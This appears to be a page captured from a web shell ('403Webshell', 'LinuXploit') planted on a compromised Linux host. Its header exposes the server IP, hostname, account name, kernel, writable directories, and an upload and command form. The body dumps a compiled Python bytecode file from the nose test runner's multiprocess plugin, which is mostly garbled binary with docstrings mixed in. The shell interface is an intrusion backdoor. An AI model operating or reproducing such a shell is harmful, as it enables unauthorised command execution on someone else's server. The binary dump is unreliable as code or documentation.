403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.135.202.40
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/nose/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/nose/plugins/__pycache__/multiprocess.cpython-37.pyc
B

0�Se։�@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z
ddlmZddl
m
Z
ddl
mZddlmZddlmZddlmZdd	lmZdd
lmZyddlmZWn ek
r�ddlmZYnXddlmZdd
lmZyddl m!Z!Wnek
�r$ddl Z YnXdZ"e�#e$�Z%da&a'a(a)a*a+Gdd�de,�Z-dd�Z.Gdd�d�Z/Gdd�de�Z0dd�Z1Gdd�de�Z2dd�Z3dd�Z4Gdd �d e�Z5dS)!a�
Overview
========

The multiprocess plugin enables you to distribute your test run among a set of
worker processes that run tests in parallel. This can speed up CPU-bound test
runs (as long as the number of work processeses is around the number of
processors or cores available), but is mainly useful for IO-bound tests that
spend most of their time waiting for data to arrive from someplace else.

.. note ::

   See :doc:`../doc_tests/test_multiprocess/multiprocess` for
   additional documentation and examples. Use of this plugin on python
   2.5 or earlier requires the multiprocessing_ module, also available
   from PyPI.

.. _multiprocessing : http://code.google.com/p/python-multiprocessing/

How tests are distributed
=========================

The ideal case would be to dispatch each test to a worker process
separately. This ideal is not attainable in all cases, however, because many
test suites depend on context (class, module or package) fixtures.

The plugin can't know (unless you tell it -- see below!) if a context fixture
can be called many times concurrently (is re-entrant), or if it can be shared
among tests running in different processes. Therefore, if a context has
fixtures, the default behavior is to dispatch the entire suite to a worker as
a unit.

Controlling distribution
^^^^^^^^^^^^^^^^^^^^^^^^

There are two context-level variables that you can use to control this default
behavior.

If a context's fixtures are re-entrant, set ``_multiprocess_can_split_ = True``
in the context, and the plugin will dispatch tests in suites bound to that
context as if the context had no fixtures. This means that the fixtures will
execute concurrently and multiple times, typically once per test.

If a context's fixtures can be shared by tests running in different processes
-- such as a package-level fixture that starts an external http server or
initializes a shared database -- then set ``_multiprocess_shared_ = True`` in
the context. These fixtures will then execute in the primary nose process, and
tests in those contexts will be individually dispatched to run in parallel.

How results are collected and reported
======================================

As each test or suite executes in a worker process, results (failures, errors,
and specially handled exceptions like SkipTest) are collected in that
process. When the worker process finishes, it returns results to the main
nose process. There, any progress output is printed (dots!), and the
results from the test run are combined into a consolidated result
set. When results have been received for all dispatched tests, or all
workers have died, the result summary is output as normal.

Beware!
=======

Not all test suites will benefit from, or even operate correctly using, this
plugin. For example, CPU-bound tests will run more slowly if you don't have
multiple processors. There are also some differences in plugin
interactions and behaviors due to the way in which tests are dispatched and
loaded. In general, test loading under this plugin operates as if it were
always in directed mode instead of discovered mode. For instance, doctests
in test modules will always be found when using this plugin with the doctest
plugin.

But the biggest issue you will face is probably concurrency. Unless you
have kept your tests as religiously pure unit tests, with no side-effects, no
ordering issues, and no external dependencies, chances are you will experience
odd, intermittent and unexplainable failures and errors when using this
plugin. This doesn't necessarily mean the plugin is broken; it may mean that
your test suite is not safe for concurrency.

New Features in 1.1.0
=====================

* functions generated by test generators are now added to the worker queue
  making them multi-threaded.
* fixed timeout functionality, now functions will be terminated with a
  TimedOutException exception when they exceed their execution time. The
  worker processes are not terminated.
* added ``--process-restartworker`` option to restart workers once they are
  done, this helps control memory usage. Sometimes memory leaks can accumulate
  making long runs very difficult.
* added global _instantiate_plugins to configure which plugins are started
  on the worker processes.

�N)�TextTestRunner)�failure)�loader)�Plugin)�bytes_)�TextTestResult)�ContextSuite)�test_address)�_WritelnDecorator)�Empty)�warn)�StringIOc@seZdZddd�Zdd�ZdS)�TimedOutException�	Timed OutcCs
||_dS)N)�value)�selfr�r�J/opt/alt/python37/lib/python3.7/site-packages/nose/plugins/multiprocess.py�__init__�szTimedOutException.__init__cCs
t|j�S)N)�reprr)rrrr�__str__�szTimedOutException.__str__N)r)�__name__�
__module__�__qualname__rrrrrrr�s
rcCs~yZddlm}mat�tjtj�}|�}t�tj|�|j|j|j|j	|j
f\aaaa	a
Wntk
rxtdt
�YnXdS)Nr)�Manager�ProcesszKmultiprocessing module is not available, multiprocess plugin cannot be used)�multiprocessingrr�signal�SIGINT�SIG_IGN�Queue�Pool�Event�Value�Array�ImportErrorr�RuntimeWarning)r�old�mrrr�
_import_mp�s&r)c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestLetcCs<y|��|_Wntk
r"YnX|��|_t|�|_dS)N)�id�_id�AttributeError�shortDescription�_short_description�str�_str)r�caserrrr�s
zTestLet.__init__cCs|jS)N)r,)rrrrr+�sz
TestLet.idcCs|jS)N)r/)rrrrr.�szTestLet.shortDescriptioncCs|jS)N)r1)rrrrr�szTestLet.__str__N)rrrrr+r.rrrrrr*�sr*c@s8eZdZdZdZiZdd�Zdd�Zdd�Zd	d
�Z	dS)�MultiProcesszF
    Run tests in multiple processes. Requires processing module.
    i�cCs\|jdd|�dd�dddd�|jd	d|�d
d�dd
dd�|jdd|�dd�ddd�dS)z0
        Register command-line options.
        z--processes�storeZNOSE_PROCESSESr�multiprocess_workersZNUMaNSpread test run among this many processes. Set a number equal to the number of processors or cores in your machine for best results. Pass a negative number to have the number of processes automatically set to the number of cores. Passing 0 means to disable parallel testing. Default is 0 unless NOSE_PROCESSES is set. [NOSE_PROCESSES])�action�default�dest�metavar�helpz--process-timeoutZNOSE_PROCESS_TIMEOUT�
�multiprocess_timeoutZSECONDSzfSet timeout for return of results from each test runner process. Default is 10. [NOSE_PROCESS_TIMEOUT]z--process-restartworker�
store_trueZNOSE_PROCESS_RESTARTWORKERF�multiprocess_restartworkerz�If set, will restart each worker process once their tests are done, this helps control memory leaks from killing the system. [NOSE_PROCESS_RESTARTWORKER])r6r7r8r:N)�
add_option�get)r�parser�envrrr�options�s
	

zMultiProcess.optionsc	Csy|j�d�Wntk
r$YnXt|d�s:d|_dS|jrDdS||_yt|j�}Wnt	t
fk
rtd}YnX|�rt�tdkr�d|_dS|dkr�yddl
}|��}Wntk
r�d|_dSXd|_||j_t|j�}||j_t|j�}||j_d|jd<dS)z#
        Configure plugin.
        Zactiver5FNrT)�status�pop�KeyError�hasattr�enabled�worker�config�intr5�	TypeError�
ValueErrorr)rr�	cpu_count�NotImplementedError�floatr<r>)rrCrJ�workersr�t�rrrr�	configure�sB



zMultiProcess.configurecCs|j|_dS)zbRemember loader class so MultiProcessTestRunner can instantiate
        the right loader.
        N)�	__class__�loaderClass)rrrrr�prepareTestLoaderszMultiProcess.prepareTestLoadercCst|j|jj|j|jd�S)z9Replace test runner with MultiProcessTestRunner.
        )�stream�	verbosityrJrV)�MultiProcessTestRunnerrXrJrYrV)r�runnerrrr�prepareTestRunner
szMultiProcess.prepareTestRunnerN)
rrr�__doc__�scorerDrCrTrWr\rrrrr3�s )r3cCs
t��dS)N)r)�sig�framerrr�
signalhandlersracs�eZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Ze	e�Zdd
�Z
e	e
�Z
dd�Zdd�Ze	e�Zdd�Z
dd�Z�ZS)rZg@cs&|�dtj�|_tt|�jf|�dS)NrV)rEr�defaultTestLoaderrV�superrZr)r�kw)rUrrrszMultiProcessTestRunner.__init__c

Cs��x||�|�D�]l}t�d|t|��t|tjj�rVt|jt	j
�rVt�d�||�qt|t�r�|jt	j
kr�t�d�||�qqt|t��rZ|�
|��rZt�d|�y|��WnDttfk
r��Yn�t�dt���|�|t���YnbX|�|�|j�rF|jj�|g�}x*|dd�D]}t|dd��r(d|_�q(W|�|||||�q|�|||�}	t�d	t|�|	|�qWdS)
NzNext batch %s (%s)zCase is a Failurez%s has shared fixturesz%s setup failed��_multiprocess_shared_FTzQueued test %s (%s) to %s)�	nextBatch�log�debug�type�
isinstance�noser2�Test�testr�Failurer�context�sharedFixtures�setUp�KeyboardInterrupt�
SystemExit�sys�exc_info�addError�append�factoryr@�getattr�_multiprocess_can_split_�collect�addtask�len)
rrn�	testQueue�tasks�to_teardown�resultr2Z	ancestorsZan�	test_addrrrrr|s<


zMultiProcessTestRunner.collectcCs�tdtd��}tdt���}t�}tt||||||||j|jt�	|j
�f
d�}	||	_||	_||	_
t�tjt�}
|	��t�tj|
�|	S)N�c��d)�target�args)r#r�timer"rr[rVrU�pickle�dumpsrJ�currentaddr�currentstart�keyboardCaughtr�SIGILLra�start)r�iworkerr�resultQueue�
shouldStopr�r�r�r��pr'rrr�startProcessEs(z#MultiProcessTestRunner.startProcesscCs2t�d||t���|jj�|�}|dk	r.|}|jj�|j�}|dk	rL||_t	�}t	�}g}g}g}g}	t
�}
|��}t��}|�
||||	|�t�d|jj�x@t|jj�D]0}
|�|
|||
|�}|�|�t�d|
d�q�Wt|�}|jj}d}�y��xb|�r^t�dt|�||��yL|j|d�\}}}}t�d||t|��yNy|�|�Wn$tk
�rxt�d	||�YnX|t|�7}|�|�Wn:tk
�r�t�d
|�t�dtt|�d��YnX|�||g�|�||�|jj�r|���s|
��P|jj �rbt�d
|�||j!dd�|
�"��sb|�#��sbt�d|�|�||||
|�||<W�n�t$k
�r�t�dt|�|�#�t|��d}�x:t%|�D�],\}}|�&��r�t'|j(j)d�}t��|j*j)}t|�dk�r||jjdk�rt�d|�nd}t|�dk�r�||jjdk�r�t�d||�t'd�|j(_)|j+�,�t��}xz|j+�"��s�|�&��r�t��||j-k�r�t�.d|�|�/�|�||||
|�||<}Pt�0|j1t2j3�t�4d��qVW�q�W|�s�|�#��r�t�d�PYnX|jj}xZ|D]R}|�&��rt|j(j)�dk�rt��|j*j)}||jjk�rt5||jj|�}�qWq�Wt�dt|�t|��WnFt6t7fk
�r�}z"t�8d�|}|�9|t:�;��Wdd}~XYnX�yx^|	D]V}t�d|�y|�<�Wn6t6t7fk
�r�Yn|�9|t:�;��YnX�q�Wt��}|�=�|�>||�|jj�?|�|dk�r�t�d�x&|D]}|�&��rh|j@ddd��qhWxJt%|�D]>\}}|�&��r�t�d
|�|�!�|�&��r�t�d|��q�WWnTt6t7fk
�r,t�8d �x |D]}|�&��r�|�/��q�W|�r&|�n�YnX|S)!a
        Execute the test (which may be a test suite). If the test is a suite,
        distribute it out among as many processes as have been configured, at
        as fine a level as is possible given the context fixtures defined in
        the suite or any sub-suites.

        z%s.run(%s) (%s)NzStarting %s workerszStarted worker process %s�z5Waiting for results (%s/%s tasks), next timeout=%.3fs)�timeoutz1Results received for worker %d, %s, new tasks: %dz)worker %s failed to remove from tasks: %szGot result for unknown task? %szcurrent: %srzjoining worker %sz!starting new process on worker %sz8Timed out with %s tasks pending (empty testQueue=%r): %sF�asciig�������?zLworker %d has finished its work item, but is not exiting? do we wait for it?Tztimed out worker %s: %sr�zterminating worker %szAll workers deadzCompleted %s tasks (%s remain)z4parent received ctrl-c when waiting for test resultsz#Tearing down shared fixtures for %szTell all workers to stop�STOP)�blockzfailed to join worker %sz=parent received ctrl-c when shutting down: stop all processes)Arhri�os�getpidrJ�pluginsZprepareTestZsetOutputStreamrXr r"�_makeResultr�r|r5�ranger�rxr~r<r@�removerMr�extendrFr0�list�consolidateZstopOnError�
wasSuccessful�setr>�join�is_set�emptyr�	enumerate�is_aliverr�rr�r��clear�waitkilltime�error�	terminate�kill�pidrr��sleep�minrsrt�inforwrurv�tearDown�printErrorsZprintSummary�finalize�put)rrn�wrapper�wrappedrr�r�Z	completedrQr�r�r�r��ir�Ztotal_tasksZnexttimeoutZthrownErrorr��addrZ
newtask_addrs�batch_resultZ	any_alive�wZworker_addrZtimeprocessingZ
startkilltime�er2�stoprIrrr�run[s










"









zMultiProcessTestRunner.runcCstd}t|tjj�r.t|jd�r.d|j_|jj}t�	|�}|j
||fdd�|dk	r^|t|�7}|dk	rp|�|�|S)N�argF)r�)
rkrlr2rmrGrnZ
descriptorr�rZ�addressr�r0rx)rr�r2r�r�rrrr}s

zMultiProcessTestRunner.addtaskcCs�t|d�r|��\}}}n(t|d�r6t|j�\}}}ntd|��g}|dkrp|dkrdtd|��q�|�|�n(tj�|�\}}|�	d�r�|}|�|�|dk	r�|�|�d�
tt|��S)Nr�rpzUnable to convert %s to addresszUnaddressable case %sr�:)
rGr�r	rp�	Exceptionrxr��path�split�
startswithr��mapr0)r2�file�mod�call�parts�dirname�basenamerrrr�!s"




zMultiProcessTestRunner.addressccs�t|d�rt|jdd�sdSt|t�r2|�|j�sJt|dd�rJt|tj�s�t|t�r�t	|�}t
|�dkr�t|ddd�|jkr�|d}|Vn(x&|D]}x|�|�D]
}|Vq�Wq�WdS)NrpZ_multiprocess_TZ	can_splitr�r)rGrzrprkrZhasFixtures�
checkCanSplit�unittest�	TestSuiter�r~rg)rrnZ	containedr2�batchrrrrg:s"



z MultiProcessTestRunner.nextBatchcCs|sdSt|dd�rdSdS)a8
        Callback that we use to check whether the fixtures found in a
        context or ancestor are ones we care about.

        Contexts can tell us that their fixtures are reentrant by setting
        _multiprocess_can_split_. So if we see that, we return False to
        disregard those fixtures.
        Fr{T)rz)rpZfixtrrrr�Zs
	z$MultiProcessTestRunner.checkCanSplitcCs t|dd�}|sdSt|dd�S)NrpFrf)rz)rr2rprrrrqjsz%MultiProcessTestRunner.sharedFixturescCs�t�d|�y|\}}}}}Wn2tk
rPt�d|�tjt���|�dSX|j�|�|j	|7_	|j
�|�|j�|�xRt
|���D]B\}\}	}
}||jkr�g|
|f|j|<|j|\}}
}
|�|	�q�Wt�d||j	�dS)Nzbatch result is %szresult in unexpected format %szRan %s tests (total: %s))rhrirMrrorurvrX�write�testsRun�failuresr��errorsr��items�errorClasses)rr�r��outputr�r�r�r��key�storage�label�isfailZ	mystorageZ_junkrrrr�ps"
z"MultiProcessTestRunner.consolidate)rrrr�rr|r�r�r}�staticmethodr�rgr�rqr��
__classcell__rr)rUrrZs(7 rZc

Csfy@yt||||||||||	�
Stk
r<t�d|�YnXWn tk
r`t�d|�YnXdS)Nz&Worker %s keyboard interrupt, stoppingz%Worker %s timed out waiting for tasks)�__runnerrsrhrir)
�ixrr�r�r�r�r�rV�resultClassrJrrrr[�sr[c
s�t�������}
tdk	rFx*tD]"}|�}|�|
i��j�|�q W�j��j���j�	�t
�d|t�
��|�d�}
t|
j_��fdd�}��fdd�}dd�}�xt|d	�D�]\}}|��r�t
�d
|�P|�}|
�|g�}�|_g|_||_t
�d|||�yZ|dk	�r"|t|�}t|�|_t��|_||�td�|_|�|||j||�f�W�nPtk
�r>}z�t|t�}|�r�|��t |j��r�|�r�d
}nd}t
�|||�td�|_t!j"t#�$��|�|�|||j||�f�n6|�r�d}nd}t
�|||�|�|||j||�f�|�s.�Wdd}~XYnxt%k
�rjtd�|_t
�d|��YnLtd�|_t
�d|�t!j"t#�$��|�|�|||j||�f�YnX�j&r�Pq�Wt
�d|�dS)NzWorker %s executing, pid=%d)rJcs�j�jd�S)N)r�)r@r<r)rJrrrr@�sz__runner.<locals>.getcs4tt��}�|d�j�d�}�j�|�}|r0|S|S)Nr�)�descriptionsrYrJ)r
r
rYr�ZprepareTestResult)rXr�Zplug_result)rJr�rr�
makeResult�s
z__runner.<locals>.makeResultcSstdd�|jD�}dd�|jD�}i}x8t|j���D]&\}\}}}dd�|D�||f||<q4W|j��|j|||fS)NcSsg|]\}}t|�|f�qSr)r*)�.0r��errrrr�
<listcomp>�sz+__runner.<locals>.batch.<locals>.<listcomp>cSsg|]\}}t|�|f�qSr)r*)r�r�r�rrrr��scSsg|]\}}t|�|f�qSr)r*)r�r�r�rrrr��s)r�r�r�r�r�rX�getvaluer�)r�r�r�r�r�r�r�r�rrrr��sz__runner.<locals>.batchr�zWorker %d STOPPEDzWorker %s Test is %s (%s)r�z,Worker %s timed out, failing current test %sz5Worker %s keyboard interrupt, failing current test %szWorker %s test %s timed outz$Worker %s test %s keyboard interruptzWorker %s system exitz1Worker %s error running test or returning resultszWorker %s ending)'r��loadsZparserClass�_instantiate_pluginsZ
addOptionsr�Z	addPluginrTrC�beginrhrir�r��NoSharedFixtureContextSuite�
suiteClass�iterr��	exception�loadTestsFromNamesrr�r�r0rrr�r�rsrkrr�r~rrorurvrtr>)r�rr�r�r�r�r�rVr�rJZdummy_parserZpluginclassZpluginrr@r�r�r�r�r�rnr�r��msgr)rJr�rrr��s�













r�cs@eZdZdZdZdZdZ�fdd�Z�fdd�Zdd�Z	�Z
S)	r�a
    Context suite that never fires shared fixtures.

    When a context sets _multiprocess_shared_, fixtures in that context
    are executed by the main process. Using this suite class prevents them
    from executing in the runner process as well.

    Ncs$t|dd�rdStt|��|�dS)NrfF)rzrcr��setupContext)rrp)rUrrr��sz(NoSharedFixtureContextSuite.setupContextcs$t|dd�rdStt|��|�dS)NrfF)rzrcr��teardownContext)rrp)rUrrr�sz+NoSharedFixtureContextSuite.teardownContextcCs�t�dt|�||j�|jr0|�||�|}}n
||}}y|��Wn4tk
r\�Yn d|_|�||�	��dSz�x�|jD]�}t
|tjj
�r�|jdk	r�|j|j_n|j|_|j|_|j|_|jr�t�d�Py||�Wq�tk
�rn}zjt
|t�}|�rd}nd}t�|||�ttt|��t��df}|jj�||�|�||�|�s^�Wdd}~XYq�Xq�WWdd|_y|��Wn8tk
�r��Yn"d	|_|�||�	��YnXXdS)
z5Run tests in suite inside of suite fixtures.
        z#suite %s (%s) run called, tests: %s�setupNZstoppingz(Timeout when running test %s in suite %sz2KeyboardInterrupt when running test %s in suite %sreTZteardown)rhrir+�_testsZresultProxyrrrsZ
error_contextrw�	_exc_inforkrlr2rmr�rnrr�r�rr0rurvrJr�Zhas_runr�)rr��origrnr�r�r�r�rrrr�s\



zNoSharedFixtureContextSuite.run)rrrr]rr�r�r�r�r�r�rr)rUrr��sr�)6r]�loggingr�rur��	tracebackr�r�rZ	nose.caserlZ	nose.corerrrZnose.plugins.baserZnose.pyversionrZnose.resultrZ
nose.suiterZ	nose.utilr	Zunittest.runnerr
r%�queuer�warningsr�ior
r��	getLoggerrrhrr r!r"r#r$rsrr)r*r3rarZr[r�r�rrrr�<module>^sR
_sa

Youez - 2016 - github.com/yon3zu
LinuXploit